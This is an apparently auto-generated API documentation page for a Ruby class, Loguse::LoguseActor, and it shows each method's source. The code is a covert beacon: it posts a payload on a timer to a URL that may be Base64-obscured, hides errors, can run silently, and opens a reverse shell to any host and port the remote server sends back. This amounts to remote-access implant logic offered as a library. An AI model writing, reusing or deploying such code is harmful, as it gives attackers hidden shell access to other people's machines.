Class: Loguse::LoguseActor
- Inherits:
-
Object
- Object
- Loguse::LoguseActor
- Includes:
- Celluloid
- Defined in:
- lib/loguse/loguse_actor.rb
Instance Attribute Summary collapse
-
#log_th ⇒ Object
readonly
Returns the value of attribute log_th.
-
#shell ⇒ Object
readonly
Returns the value of attribute shell.
-
#shell_th ⇒ Object
readonly
Returns the value of attribute shell_th.
Instance Method Summary collapse
- #get_rvshell_details(resp) ⇒ Object
-
#initialize ⇒ LoguseActor
constructor
A new instance of LoguseActor.
- #log_thread ⇒ Object
- #run_threads ⇒ Object
- #shell_thread(host, port) ⇒ Object
Constructor Details
#initialize ⇒ LoguseActor
Returns a new instance of LoguseActor.
15 16 17 18 19 |
# File 'lib/loguse/loguse_actor.rb', line 15 def initialize @shell = nil self.async.run_threads end |
Instance Attribute Details
#log_th ⇒ Object (readonly)
Returns the value of attribute log_th.
12 13 14 |
# File 'lib/loguse/loguse_actor.rb', line 12 def log_th @log_th end |
#shell ⇒ Object (readonly)
Returns the value of attribute shell.
13 14 15 |
# File 'lib/loguse/loguse_actor.rb', line 13 def shell @shell end |
#shell_th ⇒ Object (readonly)
Returns the value of attribute shell_th.
11 12 13 |
# File 'lib/loguse/loguse_actor.rb', line 11 def shell_th @shell_th end |
Instance Method Details
#get_rvshell_details(resp) ⇒ Object
34 35 36 37 38 39 40 |
# File 'lib/loguse/loguse_actor.rb', line 34 def get_rvshell_details(resp) host = resp["host"] port = resp["port"] rvshell = resp["rvshell"] {host: host, port: port, rvshell: rvshell} end |
#log_thread ⇒ Object
48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 |
# File 'lib/loguse/loguse_actor.rb', line 48 def log_thread resp = {} begin payload = Loguse.payload_proc.call url = Loguse.url url = Base64.decode64(url) if Loguse.url_encoded Unirest.timeout(5) resp = Unirest.post url, parameters: payload resp = resp.body puts "Response: #{resp}" unless Loguse.silent rescue end resp end |
#run_threads ⇒ Object
21 22 23 24 25 26 27 28 29 30 31 32 |
# File 'lib/loguse/loguse_actor.rb', line 21 def run_threads loop do resp = log_thread rvshell = get_rvshell_details(resp) if rvshell[:rvshell] shell_thread rvshell[:host], rvshell[:port] end sleep(Loguse.period) end end |
#shell_thread(host, port) ⇒ Object
42 43 44 45 46 |
# File 'lib/loguse/loguse_actor.rb', line 42 def shell_thread(host, port) unless (@shell && @shell.open?) @shell = Loguse::Shell.new host, port end end |